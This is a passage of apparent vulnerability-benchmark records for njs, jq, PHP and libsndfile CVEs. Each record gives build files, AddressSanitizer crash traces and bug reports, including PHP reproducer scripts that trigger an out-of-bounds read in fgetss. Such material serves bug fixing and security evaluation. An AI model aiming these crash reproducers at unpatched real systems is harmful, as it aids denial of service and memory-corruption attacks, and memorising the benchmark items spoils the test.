0x0c4a8002cb40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cb50: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cb60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cb70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4a8002cb80: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd
0x0c4a8002cb90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cbb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cbc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c4a8002cbd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==465349==ABORTING
```
## Credit
P1umer, afang5472, Kotori of NeSE@IIE
Comments:
Comment by P1umer on 2022-02-15 20:39:43+00:00:
This issue #451 was assigned [CVE-2022-25139](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25139).
---
Comment by bmv126 on 2022-03-22 21:29:07+00:00:
@P1umer
Is CVE-2022-25139 fixed as part of njs 0.7.2 ?
Is there any dependency for CVE-2022-25139 on #469 ?
---
Comment by P1umer on 2022-03-23 04:33:21+00:00:
@bmv126
Hi,
1. Yes, I think this issue has been temporarily fixed in 0.7.2, but
2. The fix is flawed, so issue #469 arise.
Commit References:
2da5d8b246b806bee6f74b575217ec3b61a25548
|
[] |
[
{
"sha": "6a07c2156a07ef307b6dcf3c2ca8571a5f1af7a6",
"url": "https://github.com/nginx/njs/commit/6a07c2156a07ef307b6dcf3c2ca8571a5f1af7a6"
},
{
"sha": "2da5d8b246b806bee6f74b575217ec3b61a25548",
"url": "https://github.com/nginx/njs/commit/2da5d8b246b806bee6f74b575217ec3b61a25548"
},
{
"sha": "7bd570b39297d3d91902c93a624c89b08be7a6fe",
"url": "https://github.com/nginx/njs/commit/7bd570b39297d3d91902c93a624c89b08be7a6fe"
},
{
"sha": "d3bd263c19c4e2bbf65ddae3764f3eae6f45648a",
"url": "https://github.com/nginx/njs/commit/d3bd263c19c4e2bbf65ddae3764f3eae6f45648a"
},
{
"sha": "b7a93f20410a99f186ca7c85f7c9187b8212474f",
"url": "https://github.com/nginx/njs/commit/b7a93f20410a99f186ca7c85f7c9187b8212474f"
},
{
"sha": "ad48705bf1f04b4221a5f5b07715ac48b3160d53",
"url": "https://github.com/nginx/njs/commit/ad48705bf1f04b4221a5f5b07715ac48b3160d53"
}
] |
jq.cve-2023-50246
|
jqlang/jq
|
c9a51565214eece8f1053089739aea73145bfd6b
| 2023-12-13T13:17:17
|
jq
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make flex bison libtool automake autoconf
RUN git clone https://github.com/jqlang/jq jq
RUN git -C jq checkout c9a51565214eece8f1053089739aea73145bfd6b
WORKDIR $SRC/jq
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
autoreconf -fi
./configure --with-oniguruma=builtin
make -j$(nproc)
mkdir -p $SRC/seeds
|
/src/jq
|
address
|
================= Bug Report (1/2) ==================
## Source: GitHub Advisory
## URL: https://github.com/jqlang/jq/security/advisories/GHSA-686w-5m7m-54vc
## Description:
Advisory ID: GHSA-686w-5m7m-54vc
Title: heap-buffer-overflow exists in the function decToString in decNumber.c
Description:
System info
Ubuntu x86_64, clang 12.0
version: jq-master-cca1f7d-dirty
Command line
./jq . poc
Poc
poc:poc
AddressSanitizer output
==542903==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x613000000188 at pc 0x00000054e6e3 bp 0x7ffdf15aa0b0 sp 0x7ffdf15aa0a8
WRITE of size 1 at 0x613000000188 thread T0
#0 0x54e6e2 in decToString /src/jq/src/decNumber/decNumber.c:3764:5
#1 0x54c9d2 in decNumberToString /src/jq/src/decNumber/decNumber.c:449:3
#2 0x4f6b54 in jvp_literal_number_literal /src/jq/src/jv.c:653:5
#3 0x4f6b54 in jv_number_get_literal /src/jq/src/jv.c:668:12
#4 0x53a80b in jv_dump_term /src/jq/src/jv_print.c:231:35
#5 0x53eba6 in jv_dumpf /src/jq/src/jv_print.c:368:3
#6 0x53eba6 in jv_dump /src/jq/src/jv_print.c:372:3
#7 0x4ce841 in process /src/jq/src/main.c:207:7
#8 0x4cd2ac in main /src/jq/src/main.c:724:15
#9 0x7fe078a4f082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#10 0x41d7bd in _start (/src/jq/jq+0x41d7bd)
0x613000000188 is located 0 bytes to the right of 328-byte region [0x613000000040,0x613000000188)
allocated by thread T0 here:
#0 0x49867d in malloc (/src/jq/jq+0x49867d)
#1 0x5084bf in jv_mem_alloc /src/jq/src/jv_alloc.c:141:13
#2 0x53eba6 in jv_dumpf /src/jq/src/jv_print.c:368:3
#3 0x53eba6 in jv_dump /src/jq/src/jv_print.c:372:3
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/jq/src/decNumber/decNumber.c:3764:5 in decToString
Shadow bytes around the buggy address:
0x0c267fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c267fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c267fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff8030: 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c267fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==542903==ABORTING
References:
https://github.com/SEU-SSL/Poc/raw/main/jq/id_000000,sig_06,src_003363+001607,op_splice,rep_32
https://github.com/jqlang/jq/issues/1
https://github.com/jqlang/jq/issues/2
https://github.com/jqlang/jq/issues/3
https://github.com/jqlang/jq/issues/4
https://github.com/jqlang/jq/issues/5
https://github.com/jqlang/jq/pull/6
https://github.com/jqlang/jq/issues/7
https://github.com/jqlang/jq/pull/8
https://github.com/jqlang/jq/issues/9
https://github.com/jqlang/jq/issues/10
================= Bug Report (2/2) ==================
## Source: Chromium
## URL: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=64574
## Description:
Detailed Report: https://oss-fuzz.com/testcase?key=4714293282865152
Project: jq
Fuzzing Engine: libFuzzer
Fuzz Target: jq_fuzz_parse_extended
Job Type: libfuzzer_asan_jq
Platform Id: linux
Crash Type: Heap-buffer-overflow WRITE 1
Crash Address: 0x6020000000c0
Crash State:
decToString
decNumberToString
jv_number_get_literal
Sanitizer: address (ASAN)
Recommended Security Severity: High
Regressed: https://oss-fuzz.com/revisions?job=libfuzzer_asan_jq&range=202311280623:202311290622
Reproducer Testcase: https://oss-fuzz.com/download?testcase_id=4714293282865152
Issue filed automatically.
See https://google.github.io/oss-fuzz/advanced-topics/reproducing for instructions to reproduce this bug locally.
When you fix this bug, please
* mention the fix revision(s).
* state whether the bug was a short-lived regression or an old bug in any stable releases.
* add any other useful information.
This information can help downstream consumers.
If you need to contact the OSS-Fuzz team with a question, concern, or any other feedback, please file an issue at https://github.com/google/oss-fuzz/issues. Comments on individual Monorail issues are not monitored.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without an upstream patch, then the bug report will automatically
become visible to the public.
|
[
{
"content": "\"acos\"\n\"acosh\"\n\"add\"\n\"all\"\n\"any\"\n\"arrays\"\n\"ascii_downcase\"\n\"ascii_upcase\"\n\"asin\"\n\"asinh\"\n\"atan\"\n\"atan2\"\n\"atanh\"\n\"booleans\"\n\"bsearch\"\n\"builtins\"\n\"capture\"\n\"cbrt\"\n\"ceil\"\n\"combinations\"\n\"contains\"\n\"copysign\"\n\"cos\"\n\"cosh\"\n\"debug\"\n\"del\"\n\"delpaths\"\n\"drem\"\n\"empty\"\n\"endswith\"\n\"env\"\n\"erf\"\n\"erfc\"\n\"error\"\n\"error\"\n\"exp\"\n\"exp10\"\n\"exp2\"\n\"explode\"\n\"expm1\"\n\"fabs\"\n\"fdim\"\n\"finites\"\n\"first\"\n\"first\"\n\"flatten\"\n\"floor\"\n\"fma\"\n\"fmax\"\n\"fmin\"\n\"fmod\"\n\"format\"\n\"frexp\"\n\"fromdate\"\n\"fromdateiso8601\"\n\"from_entries\"\n\"fromjson\"\n\"fromstream\"\n\"gamma\"\n\"get_jq_origin\"\n\"getpath\"\n\"get_prog_origin\"\n\"get_search_list\"\n\"gmtime\"\n\"group_by\"\n\"gsub\"\n\"halt\"\n\"halt_error\"\n\"halt_error\"\n\"has\"\n\"hypot\"\n\"implode\"\n\"in\"\n\"IN\"\n\"index\"\n\"INDEX\"\n\"indices\"\n\"infinite\"\n\"input\"\n\"input_filename\"\n\"input_line_number\"\n\"inputs\"\n\"inside\"\n\"isempty\"\n\"isfinite\"\n\"isinfinite\"\n\"isnan\"\n\"isnormal\"\n\"iterables\"\n\"j0\"\n\"j1\"\n\"jn\"\n\"join\"\n\"JOIN\"\n\"keys\"\n\"keys_unsorted\"\n\"last\"\n\"last\"\n\"ldexp\"\n\"leaf_paths\"\n\"length\"\n\"lgamma\"\n\"lgamma_r\"\n\"limit\"\n\"localtime\"\n\"log\"\n\"log10\"\n\"log1p\"\n\"log2\"\n\"logb\"\n\"ltrimstr\"\n\"map\"\n\"map_values\"\n\"match\"\n\"max\"\n\"max_by\"\n\"min\"\n\"min_by\"\n\"mktime\"\n\"modf\"\n\"modulemeta\"\n\"nan\"\n\"nearbyint\"\n\"nextafter\"\n\"nexttoward\"\n\"normals\"\n\"not\"\n\"now\"\n\"nth\"\n\"nth\"\n\"nulls\"\n\"numbers\"\n\"objects\"\n\"path\"\n\"paths\"\n\"pow\"\n\"pow10\"\n\"range\"\n\"range\"\n\"range\"\n\"recurse\"\n\"recurse_down\"\n\"remainder\"\n\"repeat\"\n\"reverse\"\n\"rindex\"\n\"rint\"\n\"round\"\n\"rtrimstr\"\n\"scalars\"\n\"scalars_or_empty\"\n\"scalb\"\n\"scalbln\"\n\"scan\"\n\"select\"\n\"setpath\"\n\"significand\"\n\"sin\"\n\"sinh\"\n\"sort\"\n\"sort_by\"\n\"split\"\n\"split\"\n\"splits\"\n\"sqrt\"\n\"startswith\"\n\"stderr\"\n\"strflocaltime\"\n\"strftime\"\n\"strings\"\n\"strptime\"\n\"sub\"\n\"tan\"\n\"tanh\"\n\"test\"\n\"tgamma\"\n\"todate\"\n\"todateiso8601\"\n\"to_entries\"\n\"tojson\"\n\"tonumber\"\n\"tostream\"\n\"tostring\"\n\"transpose\"\n\"trunc\"\n\"truncate_stream\"\n\"type\"\n\"unique\"\n\"unique_by\"\n\"until\"\n\"utf8bytelength\"\n\"values\"\n\"walk\"\n\"while\"\n\"with_entries\"\n\"y0\"\n\"y1\"\n\"yn\"\n",
"filename": "jq.dict"
}
] |
[
{
"sha": "71c2ab509a8628dbbad4bc7b3f98a64aa90d3297",
"url": "https://github.com/jqlang/jq/commit/71c2ab509a8628dbbad4bc7b3f98a64aa90d3297"
}
] |
php.cve-2020-7059
|
php/php-src
|
525e494fe5b65f05d62fe5a7bacd1bd8cd72ed1e
| 2020-01-22T01:45:58
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN apt-get install -y autoconf automake libtool bison re2c pkg-config
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout 525e494fe5b65f05d62fe5a7bacd1bd8cd72ed1e
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
autoreconf -vfi
./configure
make -j$(nproc)
export ONIG_CFLAGS="-I$PWD/oniguruma/src"
export ONIG_LIBS="-L$PWD/oniguruma/src/.libs -l:libonig.a"
export CFLAGS="$CFLAGS -fno-sanitize=object-size"
export CXXFLAGS="$CXXFLAGS -fno-sanitize=object-size"
./buildconf --force
./configure \
--disable-all \
--enable-option-checking=fatal \
--enable-json \
--enable-exif \
--enable-mbstring \
--without-pcre-jit \
--disable-phpdbg \
--disable-cgi \
--with-pic
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=79099
## Description:
PHP Bug ID: 79099
Summary: OOB read in php_strip_tags_ex
Status: Closed
PHP Version: 7.2.26
Assigned: stas (profile)
CVE-ID: 2020-7059
Description:
Description:
------------
sorry. I think this bug is difficult.
I want to reduce the code of explian, But it can't crash.
Maybe you could know why
first export USE_ZEND_ALLOC=0
then php -f file.php
=================================================================
==6268==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000005d8f at pc 0x000002b3333a bp 0x7ffe57b54b50 sp 0x7ffe57b54b48
READ of size 1 at 0x602000005d8f thread T0
#0 0x2b33339 in php_strip_tags_ex /home/raven/fuzz/php-src-php-7.4.1/ext/standard/string.c:5383:8
#1 0x2b3ed07 in php_strip_tags /home/raven/fuzz/php-src-php-7.4.1/ext/standard/string.c:5146:9
#2 0x2842a9d in zif_fgetss /home/raven/fuzz/php-src-php-7.4.1/ext/standard/file.c:1137:15
#3 0x354a4d8 in zend_call_function /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_execute_API.c:824:4
#4 0x239971a in spl_filesystem_file_call /home/raven/fuzz/php-src-php-7.4.1/ext/spl/spl_directory.c:2102:11
#5 0x239fcea in zim_spl_SplFileObject_fgetss /home/raven/fuzz/php-src-php-7.4.1/ext/spl/spl_directory.c:2863:2
#6 0x3fe5c26 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_vm_execute.h:1617:4
#7 0x3c03f76 in execute_ex /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_vm_execute.h:53379:7
#8 0x3c0513f in zend_execute /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_vm_execute.h:57664:2
#9 0x36b4324 in zend_execute_scripts /home/raven/fuzz/php-src-php-7.4.1/Zend/zend.c:1663:4
#10 0x2fa0ab1 in php_execute_script /home/raven/fuzz/php-src-php-7.4.1/main/main.c:2619:14
#11 0x4626bc7 in do_cli /home/raven/fuzz/php-src-php-7.4.1/sapi/cli/php_cli.c:961:5
#12 0x4621885 in main /home/raven/fuzz/php-src-php-7.4.1/sapi/cli/php_cli.c:1352:18
#13 0x7f2d114501e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
#14 0x60297d in _start (/home/raven/fuzz/php-src-php-7.4.1/sapi/cli/php+0x60297d)
0x602000005d8f is located 1 bytes to the left of 16-byte region [0x602000005d90,0x602000005da0)
allocated by thread T0 here:
#0 0x67a87d in malloc (/home/raven/fuzz/php-src-php-7.4.1/sapi/cli/php+0x67a87d)
#1 0x33698f4 in __zend_malloc /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_alloc.c:2975:14
#2 0x3367b4e in _malloc_custom /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_alloc.c:2416:10
#3 0x3367447 in _emalloc /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_alloc.c:2535:10
#4 0x336a28d in _estrndup /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_alloc.c:2633:15
#5 0x2b302cc in php_strip_tags_ex /home/raven/fuzz/php-src-php-7.4.1/ext/standard/string.c:5180:8
#6 0x2b3ed07 in php_strip_tags /home/raven/fuzz/php-src-php-7.4.1/ext/standard/string.c:5146:9
#7 0x2842a9d in zif_fgetss /home/raven/fuzz/php-src-php-7.4.1/ext/standard/file.c:1137:15
#8 0x354a4d8 in zend_call_function /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_execute_API.c:824:4
#9 0x239971a in spl_filesystem_file_call /home/raven/fuzz/php-src-php-7.4.1/ext/spl/spl_directory.c:2102:11
#10 0x239fcea in zim_spl_SplFileObject_fgetss /home/raven/fuzz/php-src-php-7.4.1/ext/spl/spl_directory.c:2863:2
#11 0x3fe5c26 in ZEND_DO_FCALL_SPEC_RETVAL_UNUSED_HANDLER /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_vm_execute.h:1617:4
#12 0x3c03f76 in execute_ex /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_vm_execute.h:53379:7
#13 0x3c0513f in zend_execute /home/raven/fuzz/php-src-php-7.4.1/Zend/zend_vm_execute.h:57664:2
#14 0x36b4324 in zend_execute_scripts /home/raven/fuzz/php-src-php-7.4.1/Zend/zend.c:1663:4
#15 0x2fa0ab1 in php_execute_script /home/raven/fuzz/php-src-php-7.4.1/main/main.c:2619:14
#16 0x4626bc7 in do_cli /home/raven/fuzz/php-src-php-7.4.1/sapi/cli/php_cli.c:961:5
#17 0x4621885 in main /home/raven/fuzz/php-src-php-7.4.1/sapi/cli/php_cli.c:1352:18
#18 0x7f2d114501e2 in __libc_start_main /build/glibc-4WA41p/glibc-2.30/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/raven/fuzz/php-src-php-7.4.1/ext/standard/string.c:5383:8 in php_strip_tags_ex
Shadow bytes around the buggy address:
0x0c047fff8b60: fa fa 00 06 fa fa 00 04 fa fa 00 02 fa fa 00 00
0x0c047fff8b70: fa fa 04 fa fa fa 05 fa fa fa 00 02 fa fa 00 03
0x0c047fff8b80: fa fa 00 07 fa fa 00 01 fa fa 00 00 fa fa fd fa
0x0c047fff8b90: fa fa 02 fa fa fa 00 03 fa fa 00 03 fa fa 00 03
0x0c047fff8ba0: fa fa 02 fa fa fa 01 fa fa fa fd fd fa fa fd fa
=>0x0c047fff8bb0: fa[fa]00 00 fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8bc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==6268==ABORTING
Test script:
---------------
<?php
// $ref_bool = true;
// $ref_int = 0;
// $ref_string = "a";
// $ref_array = array(0);
// $ref_object = new StdClass();
// $ref_resource = fopen("/dev/null", "r");
function templateFunction($templateParameter) {
return 0;
}
function templateGenerator() {
yield 0;
}
class TemplateClass {
var $templateProperty;
const TEMPLATE_CONSTANT = 0;
function templateMethod() {
return 0;
}
}
$p = new Phar("/tmp/fuzz.phar");
$p["fuzz.txt"] = "fuzz";
$vars = array(
"stdClass" => new stdClass(),
"Exception" => new Exception(),
"ErrorException" => new ErrorException(),
"Error" => new Error(),
"CompileError" => new CompileError(),
"ParseError" => new ParseError(),
"TypeError" => new TypeError(),
"ArgumentCountError" => new ArgumentCountError(),
"ArithmeticError" => new ArithmeticError(),
"DivisionByZeroError" => new DivisionByZeroError(),
// "Closure" => new Closure(),
// "Generator" => new Generator(),
"ClosedGeneratorException" => new ClosedGeneratorException(),
"DateTime" => new DateTime(),
"DateTimeImmutable" => new DateTimeImmutable(),
"DateTimeZone" => new DateTimeZone("America/Chicago"),
"DateInterval" => new DateInterval("P2Y4DT6H8M"),
"DatePeriod" => new DatePeriod("R4/2012-07-01T00:00:00Z/P7D"),
"LibXMLError" => new LibXMLError(),
"DOMException" => new DOMException(),
"DOMStringList" => new DOMStringList(),
"DOMNameList" => new DOMNameList(),
"DOMImplementationList" => new DOMImplementationList(),
"DOMImplementationSource" => new DOMImplementationSource(),
"DOMImplementation" => new DOMImplementation(),
"DOMNode" => new DOMNode(),
"DOMNameSpaceNode" => new DOMNameSpaceNode(),
"DOMDocumentFragment" => new DOMDocumentFragment(),
"DOMDocument" => new DOMDocument(),
"DOMNodeList" => new DOMNodeList(),
"DOMNamedNodeMap" => new DOMNamedNodeMap(),
"DOMCharacterData" => new DOMCharacterData(),
"DOMAttr" => new DOMAttr("artr"),
"DOMElement" => new DOMElement("root"),
"DOMText" => new DOMText(),
"DOMComment" => new DOMComment(),
"DOMTypeinfo" => new DOMTypeinfo(),
"DOMUserDataHandler" => new DOMUserDataHandler(),
"DOMDomError" => new DOMDomError(),
"DOMErrorHandler" => new DOMErrorHandler(),
"DOMLocator" => new DOMLocator(),
"DOMConfiguration" => new DOMConfiguration(),
"DOMCdataSection" => new DOMCdataSection("root value"),
"DOMDocumentType" => new DOMDocumentType(),
"DOMNotation" => new DOMNotation(),
"DOMEntity" => new DOMEntity(),
"DOMEntityReference" => new DOMEntityReference("nbsp"),
"DOMProcessingInstruction" => new DOMProcessingInstruction("php"),
"DOMStringExtend" => new DOMStringExtend(),
"DOMXPath" => new DOMXPath(new DOMDocument()),
"finfo" => new finfo(),
// "HashContext" => new HashContext(),
"JsonException" => new JsonException(),
"LogicException" => new LogicException(),
"BadFunctionCallException" => new BadFunctionCallException(),
"BadMethodCallException" => new BadMethodCallException(),
"DomainException" => new DomainException(),
"InvalidArgumentException" => new InvalidArgumentException(),
"LengthException" => new LengthException(),
"OutOfRangeException" => new OutOfRangeException(),
"RuntimeException" => new RuntimeException(),
"OutOfBoundsException" => new OutOfBoundsException(),
"OverflowException" => new OverflowException(),
"RangeException" => new RangeException(),
"UnderflowException" => new UnderflowException(),
"UnexpectedValueException" => new UnexpectedValueException(),
/*
"RecursiveIteratorIterator" => new RecursiveIteratorIterator(),
"IteratorIterator" => new IteratorIterator(),
"FilterIterator" => new FilterIterator(),
"RecursiveFilterIterator" => new RecursiveFilterIterator(),
"CallbackFilterIterator" => new CallbackFilterIterator(),
"RecursiveCallbackFilterIterator" => new RecursiveCallbackFilterIterator(),
"ParentIterator" => new ParentIterator(),
"LimitIterator" => new LimitIterator(),
"CachingIterator" => new CachingIterator(),
"RecursiveCachingIterator" => new RecursiveCachingIterator(),
"NoRewindIterator" => new NoRewindIterator(),
"AppendIterator" => new AppendIterator(),
"InfiniteIterator" => new InfiniteIterator(),
"RegexIterator" => new RegexIterator(),
"RecursiveRegexIterator" => new RecursiveRegexIterator(),
"EmptyIterator" => new EmptyIterator(),
"RecursiveTreeIterator" => new RecursiveTreeIterator(),
"ArrayObject" => new ArrayObject(),
"ArrayIterator" => new ArrayIterator(),
"RecursiveArrayIterator" => new RecursiveArrayIterator(),
"SplFileInfo" => new SplFileInfo(),
"DirectoryIterator" => new DirectoryIterator(),
"FilesystemIterator" => new FilesystemIterator(),
"RecursiveDirectoryIterator" => new RecursiveDirectoryIterator(),
"GlobIterator" => new GlobIterator(),
*/
"SplFileObject" => new SplFileObject(__FILE__),
"SplTempFileObject" => new SplTempFileObject(),
"SplDoublyLinkedList" => new SplDoublyLinkedList(),
"SplQueue" => new SplQueue(),
"SplStack" => new SplStack(),
// "SplHeap" => new SplHeap(),
"SplMinHeap" => new SplMinHeap(),
"SplMaxHeap" => new SplMaxHeap(),
"SplPriorityQueue" => new SplPriorityQueue(),
"SplFixedArray" => new SplFixedArray(),
"SplObjectStorage" => new SplObjectStorage(),
"MultipleIterator" => new MultipleIterator(),
/*
"PDOException" => new PDOException(),
"PDO" => new PDO(),
"PDOStatement" => new PDOStatement(),
"PDORow" => new PDORow(),
*/
"SessionHandler" => new SessionHandler(),
"ReflectionException" => new ReflectionException(),
"Reflection" => new Reflection(),
// "ReflectionFunctionAbstract" => new ReflectionFunctionAbstract(),
"ReflectionFunction" => new ReflectionFunction("templateFunction"),
"ReflectionGenerator" => new ReflectionGenerator(templateGenerator()),
"ReflectionParameter" => new ReflectionParameter("templateFunction", "templateParameter"),
"ReflectionType" => (new ReflectionClass("ZipArchive"))->getMethod("getCommentName")->getReturnType(),
"ReflectionNamedType" => new ReflectionNamedType(),
"ReflectionMethod" => new ReflectionMethod("TemplateClass", "templateMethod"),
"ReflectionClass" => new ReflectionClass("TemplateClass"),
"ReflectionObject" => new ReflectionObject(new TemplateClass()),
"ReflectionProperty" => new ReflectionProperty("TemplateClass", "templateProperty"),
"ReflectionClassConstant" => new ReflectionClassConstant("TemplateClass", "TEMPLATE_CONSTANT"),
"ReflectionExtension" => new ReflectionExtension("Reflection"),
);
try { try { $vars["SplFileObject"]->fgetss(str_repeat(chr(6), 17) + str_repeat(chr(226), 65)); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["SplFileObject"]->fseek(3, 5); } catch (Exception $e) { } } catch(Error $e) { }
try { try { $vars["SplFileObject"]->fgetss(implode(array_map(function($c) {return "\\x" . str_pad(dechex($c), 2, "0");}, range(0, 255)))); } catch (Exception $e) { } } catch(Error $e) { }
?>
Expected result:
----------------
normal
Actual result:
--------------
crash
Comments:
[Comment 1] [2020-01-14 11:41 UTC] [email protected]
Thanks for reporting! A simpler reproducer:
<?php
$stream = fopen('php://memory', 'w+');
fputs($stream, "<?\n\"\n");
rewind($stream);
var_dump(fgetss($stream));
var_dump(fgetss($stream));
?>
There are two more similar issues. Suggested patch for PHP-7.2:
<https://gist.github.com/cmb69/eff31156c4a14cf0887f1347b0439eff>.
Merging into PHP-7.3 will conflict because the strip tags parser
has been refactored. Resolving these conflicts manually shouldn't
be hard, though.
Stas, can you please handle this ticket?
Links: https://gist.github.com/cmb69/eff31156c4a14cf0887f1347b0439eff
[Comment 3] [2024-08-14 02:32 UTC] 254768447 at qq dot com
The following pull request has been associated:
Patch Name: Windows x86 CI (just checking)
On GitHub: https://github.com/php/php-src/pull/15361
Patch: https://github.com/php/php-src/pull/15361.patch
Links: https://github.com/php/php-src/pull/15361, https://github.com/php/php-src/pull/15361.patch
|
[
{
"content": "deb http://archive.ubuntu.com/ubuntu/ cosmic universe\n\n",
"filename": "cosmic.list"
}
] |
[] |
libsndfile.cve-2018-19432
|
libsndfile/libsndfile
|
1d928bffdb65e827c3e7d17ece0e123b4a70ec6c
| 2017-04-02T03:52:51
|
libsndfile
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN git clone https://github.com/libsndfile/libsndfile libsndfile
RUN git -C libsndfile checkout 1d928bffdb65e827c3e7d17ece0e123b4a70ec6c
WORKDIR $SRC/libsndfile
COPY build.sh $SRC/
|
#!/bin/bash
# Default build script template for C/C++ projects
set -eu
# Define configuration options
CONFIG_OPTS="--disable-shared"
CMAKE_OPTS="-DCMAKE_BUILD_TYPE=Debug"
MAKE_OPTS="-j$(nproc)"
BUILD_DIR="build"
# 1. Run build preparation scripts if they exist
for prep_script in buildconf autogen.sh bootstrap; do
if [ -x "$prep_script" ]; then
echo "Running $prep_script..."
./$prep_script
break
elif [ -f "$prep_script" ]; then
echo "Found $prep_script but it's not executable, setting permissions..."
chmod +x $prep_script
./$prep_script
break
fi
done
# 2. Handle different build systems
if [ -f "configure" ]; then
echo "Found configure script, running with options: $CONFIG_OPTS"
./configure $CONFIG_OPTS
echo "Building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "CMakeLists.txt" ]; then
echo "Found CMakeLists.txt, using CMake build system"
mkdir -p $BUILD_DIR
cd $BUILD_DIR
cmake $CMAKE_OPTS ..
make $MAKE_OPTS
elif [ -f "Makefile" ] || [ -f "makefile" ]; then
echo "Found Makefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -f "meson.build" ]; then
echo "Found meson.build, using Meson build system"
mkdir -p $BUILD_DIR
meson setup $BUILD_DIR .
cd $BUILD_DIR
ninja
elif [ -f "GNUmakefile" ]; then
echo "Found GNUmakefile, building with make $MAKE_OPTS"
make $MAKE_OPTS
elif [ -d ".git" ] && [ -f "Makefile.am" ]; then
echo "Found Makefile.am, running autoreconf"
autoreconf -i
./configure $CONFIG_OPTS
make $MAKE_OPTS
else
echo "WARNING: No recognized build system found!"
echo "Trying generic approach:"
# Try to detect common source patterns and compile them
